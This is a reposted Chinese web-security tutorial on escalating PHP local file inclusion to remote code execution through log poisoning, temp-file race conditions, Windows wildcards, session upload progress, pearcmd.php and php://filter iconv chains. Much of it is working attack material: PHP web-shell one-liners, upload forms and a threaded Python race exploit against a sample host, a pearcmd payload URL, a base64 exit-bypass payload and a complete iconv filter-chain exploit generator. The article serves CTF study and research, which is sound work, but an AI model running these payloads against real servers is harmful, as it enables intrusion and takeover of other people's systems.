• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

PHP-从LFI到RCE上

武飞扬头像
javelin266桑桑
帮助5

以下场景很常见,很多人都把他当成一个LFI,那么是否可以RCE呢,让我们来探讨一下。

<?php
include $_REQUEST['file'];

?>

在p牛和陆队的博客都有发过类似的,笔者很菜,旨在梳理一下,大佬轻喷。

参考链接

1.https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
2.https://tttang.com/archive/1395/
3.https://tttang.com/archive/1384/

1.日志文件包含

在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含这个文件造成getshell。

例如IIS和apache,apache一般的日志文件只有root组才能访问,我们包含不了,那么如果是IIS就可以直接写入一句话<?php eval($_POST['cmd']);?>,然后通过包含/varl/og/apache2/access.log,就可以实现getshell。不同环境可能不同利用方式,例如thinkphp也有日志文件,是否也可以利用呢!

burp改包发送请求
学新通

可以看到在/var/log/apache2/access.log已经写入成功了
学新通
那么直接包含就可以了。
学新通
但是我们包含失败了,因为这个文件只有root才能读,www用户是读不了的,大家可以根据环境变换,可能日志文件也不是这个路径。

2.phpinfo和文件包含条件竞争

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉.

学新通

在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。

例如我们上传一个这样的文件,不管他后台有没有这个逻辑,php都会保存在一个临时文件,过了某个时间段就清理,那么我们就只能条件竞争了。
学新通
我们可以构造一个表单来上传,也可以直接在burp构造改包

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="test" value="123<?php eval($_POST['cmd']);?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

那么我们不知道临时文件在哪,还有文件名是啥也不知道,就是形如/tmp/phpxxx,后面的xxx为随机字母和数字组合的6位数。

那么在phpinfo页面有个地方可以看到

学新通
那么就可以写脚本来条件竞争了,这里直接贴p牛的exp

windows通配符的妙用

前面的方法存在2个条件

1.存在phpinfo等可以泄露临时文件名的页面

2.网络条件好,才能让Race Condition成功

如果目标系统是windows

PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的。

但是在php的逻辑里是不能用* ? 表示通配符。

实际上MSDN官方文档说明

  • DOS_STAR:即 <,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

那么我们的文件就变成了/tmp/php<<,构造这样一个包就可以进行rce了

学新通
我这里给个表单

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/lfi.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="file" value="c:\Windows\Temp\php<<" />
    <input type="file" name="upload" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

只需要上传一个包含php代码的任意后缀名文件就行,这种上传文件的同时利用临时文件的操作可能很难理解。这里我解释一下,lfi.php文件内容是:

<?php
include $_REQUEST['file'];

?>

这里的 <input type="hidden" name="file" value="c:\Windows\Temp\php<<" />是执行一个文件包含的请求,然后上传的文件就是echo md5(1),最后这个文件会被php传到一个临时目录,路径是c:\Windows\Temp\php<<,这里的<<为windows的通配符,只有当执行include才会解释这个php过程,最后删除临时文件,这样就可以竞争成功了。

3.session.upload_progress与Session文件包含

session方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件。

1.目标环境开启了session.upload_progress.enable选项
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
3.请求的Cookie中包含Session ID

恰好这些都是默认开启的。这里贴个exp

import io
import requests
import threading
url = 'http://192.168.31.120:80/file.php'


def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id");?>dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url '?file=/var/lib/php/sessions/sess_flag') #其实这个php临时文件的目录在不同环境是不一样的
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

学新通

其实这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

4.Segfault遗留下TEMP文件

其实这里的lfi到rce,就在于能不能在对方服务器写入一个php代码,我们直接包含这个造成getshell,其中涉及到临时文件,日志文件,临时文件路径和名字。

前面的探讨都是在临时文件删除之前进行条件竞争,那么我们能不能让他不执行这个删除,让他异常退出,就不会删除临时文件了,这样我们直接爆破就行了。

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:

include 'php://filter/string.strip_tags/resource=/etc/passwd';

正好用在文件包含的逻辑中。

这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白

学新通

5.pearcmd.php的巧妙利用

register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

cli模式下,简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中test.php

<?php
var_dump($_SERVER['argv']);
?>

学新通

学新通
web模式下
学新通
分隔符是 不是&

简单的利用

<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

学新通

pearcmd.php的神奇使用

pear文件

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

学新通

这里解释一下代码意思,就是直接通过包含这个pearcmd.php文件,然后联合register_argc_argv获取命令行参数,直接通过pear的命令config-create写入了一句话木马。

需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php

这里直接给出payload吧

/test.php? config-create /&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?> /tmp/hello.php

6.利用php iconv filter 配合base64进行rce

路队文章写的很清楚了,hxp CTF 2021 - The End Of LFI?

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE。

大家是否记得利用filter绕过死亡exit,就是由于<?php exit;?>加在了我们写入的文件前面,导致写入一句话也不能执行。

但是php base64 encode会自动把这些非法字符去掉。

合法字符只有A-Za-z0-9\/\=\ ,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的。

那么之前的就变成了phpexit,这里只有7个字符,我们加一个a,就可以完全解码了,题目如下:

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

直接贴payload吧

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

//内容变为phpexitaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==   解码就是¦^Æ Z<?php eval($_POST[a]);

因为我们可以控制file_put_contents写入的协议,那么我们用filter base64的宽松解码进行绕过了。

直接给路队的exp吧

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd"; //服务器任意存在文件就行

echo file_get_contents("http://www.xxx.com/file.php?file=".urlencode($final_payload)."&0=id");


// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|
学新通

7.总结

利用include $_REQUEST['file']的lfi本地文件包含,就是包含一个含有php代码的文件,不限制后缀名,也可以临时文件进行条件竞争,当然php是神奇的语言,有伪协议还有fastcgi,还有auto_prepend_file的参数,内存错误异常退出,甚至可以去看php底层代码,这些特性还有很多,值得我们探索。

接下来我们可以从几道ctf题来看一下lfi到rce。

1.36c3 web includer
2.hxp CTF 2021 - A New Novel LFI
3.hxp CTF 2021 - The End Of LFI?
4.HFCTF2022 Web ezphp

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfebikg
系列文章
更多 icon
同类精品
更多 icon
继续加载